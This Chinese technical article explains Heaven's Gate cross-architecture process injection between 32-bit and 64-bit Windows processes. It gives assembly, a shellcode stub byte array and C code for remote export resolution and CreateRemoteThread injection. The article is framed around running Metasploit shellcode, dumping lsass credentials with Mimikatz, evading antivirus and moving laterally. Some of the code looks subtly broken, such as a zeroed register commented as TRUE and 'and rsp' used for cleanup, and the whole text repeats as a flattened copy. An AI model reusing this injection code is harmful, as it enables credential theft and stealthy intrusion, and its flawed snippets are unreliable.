跨位数注入技术深度解析:从Heaven's Gate到x86与x64双向进程注入
字数 2667 2025-12-04 12:18:26

跨位数注入技术深度解析:从Heaven's Gate到x86与x64双向进程注入

一、技术背景与原理概述

1.1 跨位数注入技术起源

跨位数注入技术源于Heaven's Gate技术,这是一项存在十多年的古老技术。该技术允许在64位操作系统上运行的32位代码进程直接切换至64位模式下执行代码,关键技术是通过retfjmp fword ptr指令完成CPU短长模式的切换。

1.2 实际应用场景

  • 当使用MSF x86的shellcode上线后,无法使用creds_all命令导出目标凭据
  • WOW64模式下的Mimikatz无法dump出受保护的64位进程(如lsass.exe)的凭据
  • 需要在64位进程空间中执行特定操作的场景

1.3 WOW64子系统限制

WOW64子系统是Windows 64位系统为兼容32位应用程序设计的子系统,但"兼容"只停留在用户态。当32位代码尝试使用CreateRemoteThreadRtlCreateUserThreadNtCreateThreadEx创建64位线程时,会因64位线程入口地址高32位可能全为1(超出4GB限制)而被WOW64内核明确禁止。

二、x32→x64跨位数注入技术详解

2.1 整体流程

  1. 32位inject程序使用VirtualAllocEx在64位远程进程分配内存(小于4GB范围)
  2. 使用WriteProcessMemory将shellcode写入分配的内存
  3. inject使用VirtualAlloc分配两段内存给两个stub使用,并复制stub代码
  4. 执行第一个stub,完成32→64转换并将执行流转到第二个stub
  5. 第二个stub找到RtlCreateUserThread地址并创建挂起线程
  6. 第一个stub将CPU从64转换回32位,返回到inject
  7. inject使用ResumeThread恢复线程执行shellcode

2.2 核心数据结构

2.2.1 函数指针定义

typedef DWORD(WINAPI* EXECUTEX64)(X64FUNCTION pFunction, DWORD ctx);
typedef BOOL(WINAPI* X64FUNCTION)(DWORD ctx);

2.2.2 上下文结构体

typedef struct _WOW64CONTEXT {
    union { HANDLE hProcess; BYTE _[8]; } h;    // 进程句柄
    union { LPVOID lpStartAddress; BYTE _[8]; } s; // 目标地址
    union { LPVOID lpParameter; BYTE _[8]; } p;   // 参数
    union { HANDLE hThread; BYTE _[8]; } t;       // 线程句柄
} WOW64CONTEXT, *LPWOW64CONTEXT;

2.3 第一个stub:migrate_executex64详解

2.3.1 功能组成

由32位和64位机器码混合组成,主要负责:

  • 切换堆栈、保存非易失性寄存器和参数传递
  • CPU短模式切换成长模式,执行x64机器码
  • 执行完migrate_wownativex后将CPU长模式切换回短模式
  • 恢复堆栈和非易失性寄存器,返回inject代码

2.3.2 代码执行流程分析

(一)切换堆栈、保存寄存器和参数传递

push ebp
mov ebp, esp
push esi
push edi
mov esi, [ebp+8]    ; 获取第一个参数pFunction(第二个stub地址)
mov ecx, [ebp+0Ch]  ; 获取第二个参数ctx
call delta          ; 跳转到下一条指令,规避地址随机化

栈布局分析:

  • ebp+8: pFunction函数指针
  • ebp+0Ch: ctx指针地址

(二)CPU模式切换关键代码

pop eax
add eax, 37         ; 计算native_x64标签地址(AMD CPU为43/0x2b)
sub esp, 8
mov edx, esp
mov [edx+4], 0x33   ; 段选择子(64位用户代码段)
mov [edx], eax      ; 设置偏移地址
call go_all_native

段选择子说明:

  • 0x23: 32位模式段选择子
  • 0x33: 64位模式段选择子

远跳转结构体:

  • 6字节结构:4字节偏移地址 + 2字节段选择子
  • 格式:0x33:offset构成完整远跳转目标

(三)64位代码执行环境

go_all_native:
    mov edi, [esp]    ; 获取WoW64返回地址
    jmp fword ptr [edx] ; 切换到64位模式

; 64位代码区域
native_x64:
    xor rax, rax      ; 可省略指令
    push rdi          ; 保存WoW64返回地址
    call rsi          ; 调用第二个stub
    pop rdi           ; 恢复返回地址
    push rax          ; 保存返回值(等价sub esp,8)
    mov DWORD PTR [rsp+4], 0x23 ; 设置32位段选择子
    mov DWORD PTR [rsp], edi    ; 设置返回地址偏移
    jmp dword PTR [rsp]         ; 切换回32位模式

(四)恢复环境和返回

add esp, 20    ; 清理栈空间(8+4+8字节)
pop edi
pop esi
pop ebp
ret 8          ; 返回并清理8字节参数

栈空间清理说明:

  • 8字节:远跳转结构体1
  • 4字节:go_all_native返回地址
  • 8字节:native_x64中push的qword
  • 总计20字节需要清理

2.3.3 AMD CPU特殊处理

在AMD CPU上需要添加额外指令解决竞态条件问题:

mov ax, ds
mov ss, ax    ; 重新加载SS段寄存器,屏蔽中断

修改点:

  1. 添加两条额外指令
  2. 偏移从0x25改为0x2b
  3. 偏移从0x9改为0x0f

2.4 第二个stub:migrate_wownativex详解

2.4.1 初始化与栈对齐

cld                  ; 清除方向标志
mov rsi, rcx         ; 保存ctx指针
mov rdi, rsp         ; 保存原始rsp
and rsp, 0xfffffffffffffff0 ; 16字节栈对齐
call start           ; 跳转并保存返回地址

栈对齐重要性:

  • x64调用约定要求call之前RSP必须16字节对齐
  • 32→64转换后rsp可能不以0结尾,需要强制对齐

2.4.2 GetProcAddressByHash函数

通过PEB→Ldr→ntdll.dll(64位)→导出表查找RtlCreateUserThread地址,经典shellcode技术。

2.4.3 参数准备与函数调用

; 准备RtlCreateUserThread参数
xor r9, r9                    ; CreateSuspended = TRUE(必须暂停)
push r9                       ; StackZeroBits
push r9                       ; MaximumStackSize
push r9                       ; Environment
mov r8, [rsi+0x10]           ; lpParameter (ctx.p)
mov rdx, [rsi+0x8]           ; lpStartAddress (ctx.s)  
mov rcx, [rsi]               ; hProcess (ctx.h)
call GetProcAddressByHash     ; 获取函数地址
call rax                      ; 调用RtlCreateUserThread

RtlCreateUserThread函数原型(未公开):

NTSTATUS RtlCreateUserThread(
    HANDLE ProcessHandle,
    PSECURITY_DESCRIPTOR SecurityDescriptor,
    BOOLEAN CreateSuspended,
    ULONG StackZeroBits,
    SIZE_T MaximumStackSize,
    SIZE_T CommittedStackSize,
    LPTHREAD_START_ROUTINE StartAddress,
    LPVOID Parameter,
    PHANDLE ThreadHandle,
    PCLIENT_ID ClientId
);

2.4.4 返回结果与栈清理

test rax, rax
jz success
mov rax, 0                   ; 失败返回FALSE
success:
    mov rax, 1               ; 成功返回TRUE
cleanup:
    and rsp, (32+6*8)        ; 清理影子空间和参数空间
    mov rsp, rdi             ; 恢复原始rsp
    ret                      ; 返回stub1

栈空间计算:

  • 32字节:影子空间
  • 6×8=48字节:6个参数的空间
  • 总计80字节需要清理

2.5 完整注入代码示例

// 32 → 64 位进程注入(WOW64 migrate 桩最小版)
// VS2019+ Win32 平台编译

unsigned char migrate_executex64[] = {
    // 切换堆栈、保存非易失性寄存器和参数传递
    0x55,                               // push ebp
    0x89,0xE5,                         // mov ebp, esp
    0x56,                               // push esi
    0x57,                               // push edi
    0x8B,0x75,0x08,                   // mov esi, [ebp+8]    ; pFunction
    0x8B,0x4D,0x0C,                   // mov ecx, [ebp+0Ch]  ; ctx
    0xE8,0x00,0x00,0x00,0x00,         // call delta
    
    // CPU模式切换
    0x58,                               // pop eax
    0x83,0xC0,0x2b,                   // add eax, 43        ; AMD CPU偏移
    0x83,0xEC,0x08,                   // sub esp, 8
    0x89,0xE2,                         // mov edx, esp
    0xC7,0x42,0x04,0x33,0x00,0x00,0x00, // mov [edx+4], 0x33
    0x89,0x02,                         // mov [edx], eax
    0xE8,0x0f,0x00,0x00,0x00,         // call go_all_native
    0x66,0x8c,0xd8,                   // mov ax, ds          ; AMD特殊处理
    0x66,0x8e,0xd0,                   // mov ss, ax
    
    // 恢复环境
    0x83,0xC4,0x14,                   // add esp, 20
    0x5F,                               // pop edi
    0x5E,                               // pop esi
    0x5D,                               // pop ebp
    0xC2,0x08,0x00                    // ret 8
};

三、x64→x32跨位数注入技术

3.1 技术难点分析

传统远程线程注入在x64→x32场景下失效的原因:

  • 64位和32位kernel32.dll模块基址不一致
  • 64位程序获取到的是64位LoadLibraryW地址
  • 需要手动在目标32位进程中查找32位LoadLibraryW地址

3.2 关键函数实现

3.2.1 获取32位模块基址

HMODULE GetRemoteModuleBase(HANDLE hProcess, const wchar_t* moduleName) {
    HMODULE hMods[1024];
    DWORD cbNeeded;
    
    if(EnumProcessModulesEx(hProcess, hMods, sizeof(hMods), &cbNeeded, 
                           LIST_MODULES_32BIT)) {
        DWORD count = cbNeeded / sizeof(HMODULE);
        for(DWORD i = 0; i < count; i++) {
            wchar_t modName[MAX_PATH];
            if(GetModuleBaseNameW(hProcess, hMods[i], modName, MAX_PATH)) {
                if(_wcsicmp(modName, moduleName) == 0) {
                    return hMods[i];
                }
            }
        }
    }
    return NULL;
}

3.2.2 手动解析导出表

FARPROC GetRemoteProcAddress(HANDLE hProcess, HMODULE hModule, LPCSTR lpProcName) {
    BYTE buffer[4096];
    SIZE_T bytesRead;
    
    // 读取PE头信息
    if(!ReadProcessMemory(hProcess, hModule, buffer, sizeof(buffer), &bytesRead)) {
        return NULL;
    }
    
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)buffer;
    PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)((BYTE*)buffer + dosHeader->e_lfanew);
    
    // 获取导出表RVA
    DWORD RVAForExpDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    
    // 读取导出表
    if(!ReadProcessMemory(hProcess, (BYTE*)hModule + RVAForExpDir, 
                         buffer, sizeof(IMAGE_EXPORT_DIRECTORY), &bytesRead)) {
        return NULL;
    }
    
    PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)buffer;
    
    // 遍历导出表查找目标函数
    DWORD funcAddr = (DWORD)(exportDir->AddressOfFunctions);
    DWORD nameAddr = (DWORD)(exportDir->AddressOfNames);
    
    for(DWORD i = 0; i < exportDir->NumberOfNames; i++) {
        char name[256];
        DWORD TrueNameAddr;
        
        if(!ReadProcessMemory(hProcess, (BYTE*)hModule + nameAddr + sizeof(DWORD)*i, 
                            &TrueNameAddr, sizeof(TrueNameAddr), &bytesRead)) {
            return NULL;
        }
        
        if(!ReadProcessMemory(hProcess, (LPCVOID)((BYTE*)hModule + (DWORD)TrueNameAddr), 
                            name, sizeof(name), &bytesRead)) {
            return NULL;
        }
        
        if(strcmp(name, lpProcName) == 0) {
            DWORD funcRVA;
            if(!ReadProcessMemory(hProcess, (BYTE*)hModule + funcAddr + sizeof(DWORD)*i, 
                                &funcRVA, sizeof(funcRVA), &bytesRead)) {
                return NULL;
            }
            return (FARPROC)((BYTE*)hModule + funcRVA);
        }
    }
    return NULL;
}

3.3 完整注入流程

  1. 使用EnumProcessModulesEx指定LIST_MODULES_32BIT枚举32位模块
  2. 遍历模块数组,使用GetModuleBaseNameW获取模块文件名
  3. 比较模块名找到kernel32.dll
  4. 使用自定义GetRemoteProcAddress解析导出表获取LoadLibraryW地址
  5. 使用CreateRemoteThread创建远程线程

四、技术总结与注意事项

4.1 关键技术要点

  1. 模式切换核心:使用远跳转指令(retf/jmp fword)配合段选择子完成32/64位模式切换
  2. 栈管理:x64环境下必须保证16字节栈对齐,需要保存和恢复原始rsp
  3. 地址空间限制:32位注入64位时分配的内存必须小于4GB范围
  4. 寄存器保存:正确保存和恢复非易失性寄存器

4.2 调试技巧与难点

  • 跨位数注入可用于反沙箱和反调试
  • 传统调试器难以跟踪CPU模式切换过程
  • 建议使用windbg进行底层调试
  • AMD和Intel CPU存在细微差异需要特殊处理

4.3 实际应用建议

  • 充分测试目标系统兼容性(Win7/Win10/Win11)
  • 考虑CPU架构差异(AMD/Intel)
  • 注入后及时清理资源,避免进程崩溃
  • 结合其他免杀技术增强隐蔽性

五、参考资料

  1. Metasploit Framework源码:executex64.asm和remotethread.asm
  2. ReWolf的wow64ext项目博客
  3. NTAPI未文档化函数参考
  4. xia0ji233关于64位进程注入32位进程的分析

通过深入理解跨位数注入技术的原理和实现细节,安全研究人员可以更好地防御此类攻击,同时红队人员可以更有效地在复杂环境中进行横向移动和权限提升。

跨位数注入技术深度解析:从Heaven's Gate到x86与x64双向进程注入 一、技术背景与原理概述 1.1 跨位数注入技术起源 跨位数注入技术源于Heaven's Gate技术,这是一项存在十多年的古老技术。该技术允许在64位操作系统上运行的32位代码进程直接切换至64位模式下执行代码,关键技术是通过 retf 或 jmp fword ptr 指令完成CPU短长模式的切换。 1.2 实际应用场景 当使用MSF x86的shellcode上线后,无法使用 creds_all 命令导出目标凭据 WOW64模式下的Mimikatz无法dump出受保护的64位进程(如lsass.exe)的凭据 需要在64位进程空间中执行特定操作的场景 1.3 WOW64子系统限制 WOW64子系统是Windows 64位系统为兼容32位应用程序设计的子系统,但"兼容"只停留在用户态。当32位代码尝试使用 CreateRemoteThread 、 RtlCreateUserThread 或 NtCreateThreadEx 创建64位线程时,会因64位线程入口地址高32位可能全为1(超出4GB限制)而被WOW64内核明确禁止。 二、x32→x64跨位数注入技术详解 2.1 整体流程 32位inject程序使用 VirtualAllocEx 在64位远程进程分配内存(小于4GB范围) 使用 WriteProcessMemory 将shellcode写入分配的内存 inject使用 VirtualAlloc 分配两段内存给两个stub使用,并复制stub代码 执行第一个stub,完成32→64转换并将执行流转到第二个stub 第二个stub找到 RtlCreateUserThread 地址并创建挂起线程 第一个stub将CPU从64转换回32位,返回到inject inject使用 ResumeThread 恢复线程执行shellcode 2.2 核心数据结构 2.2.1 函数指针定义 2.2.2 上下文结构体 2.3 第一个stub:migrate_ executex64详解 2.3.1 功能组成 由32位和64位机器码混合组成,主要负责: 切换堆栈、保存非易失性寄存器和参数传递 CPU短模式切换成长模式,执行x64机器码 执行完migrate_ wownativex后将CPU长模式切换回短模式 恢复堆栈和非易失性寄存器,返回inject代码 2.3.2 代码执行流程分析 (一)切换堆栈、保存寄存器和参数传递 栈布局分析: ebp+8 : pFunction函数指针 ebp+0Ch : ctx指针地址 (二)CPU模式切换关键代码 段选择子说明: 0x23 : 32位模式段选择子 0x33 : 64位模式段选择子 远跳转结构体: 6字节结构:4字节偏移地址 + 2字节段选择子 格式: 0x33:offset 构成完整远跳转目标 (三)64位代码执行环境 (四)恢复环境和返回 栈空间清理说明: 8字节:远跳转结构体1 4字节:go_ all_ native返回地址 8字节:native_ x64中push的qword 总计20字节需要清理 2.3.3 AMD CPU特殊处理 在AMD CPU上需要添加额外指令解决竞态条件问题: 修改点: 添加两条额外指令 偏移从0x25改为0x2b 偏移从0x9改为0x0f 2.4 第二个stub:migrate_ wownativex详解 2.4.1 初始化与栈对齐 栈对齐重要性: x64调用约定要求call之前RSP必须16字节对齐 32→64转换后rsp可能不以0结尾,需要强制对齐 2.4.2 GetProcAddressByHash函数 通过PEB→Ldr→ntdll.dll(64位)→导出表查找 RtlCreateUserThread 地址,经典shellcode技术。 2.4.3 参数准备与函数调用 RtlCreateUserThread函数原型(未公开): 2.4.4 返回结果与栈清理 栈空间计算: 32字节:影子空间 6×8=48字节:6个参数的空间 总计80字节需要清理 2.5 完整注入代码示例 三、x64→x32跨位数注入技术 3.1 技术难点分析 传统远程线程注入在x64→x32场景下失效的原因: 64位和32位kernel32.dll模块基址不一致 64位程序获取到的是64位LoadLibraryW地址 需要手动在目标32位进程中查找32位LoadLibraryW地址 3.2 关键函数实现 3.2.1 获取32位模块基址 3.2.2 手动解析导出表 3.3 完整注入流程 使用 EnumProcessModulesEx 指定 LIST_MODULES_32BIT 枚举32位模块 遍历模块数组,使用 GetModuleBaseNameW 获取模块文件名 比较模块名找到kernel32.dll 使用自定义 GetRemoteProcAddress 解析导出表获取LoadLibraryW地址 使用 CreateRemoteThread 创建远程线程 四、技术总结与注意事项 4.1 关键技术要点 模式切换核心 :使用远跳转指令(retf/jmp fword)配合段选择子完成32/64位模式切换 栈管理 :x64环境下必须保证16字节栈对齐,需要保存和恢复原始rsp 地址空间限制 :32位注入64位时分配的内存必须小于4GB范围 寄存器保存 :正确保存和恢复非易失性寄存器 4.2 调试技巧与难点 跨位数注入可用于反沙箱和反调试 传统调试器难以跟踪CPU模式切换过程 建议使用windbg进行底层调试 AMD和Intel CPU存在细微差异需要特殊处理 4.3 实际应用建议 充分测试目标系统兼容性(Win7/Win10/Win11) 考虑CPU架构差异(AMD/Intel) 注入后及时清理资源,避免进程崩溃 结合其他免杀技术增强隐蔽性 五、参考资料 Metasploit Framework源码:executex64.asm和remotethread.asm ReWolf的wow64ext项目博客 NTAPI未文档化函数参考 xia0ji233关于64位进程注入32位进程的分析 通过深入理解跨位数注入技术的原理和实现细节,安全研究人员可以更好地防御此类攻击,同时红队人员可以更有效地在复杂环境中进行横向移动和权限提升。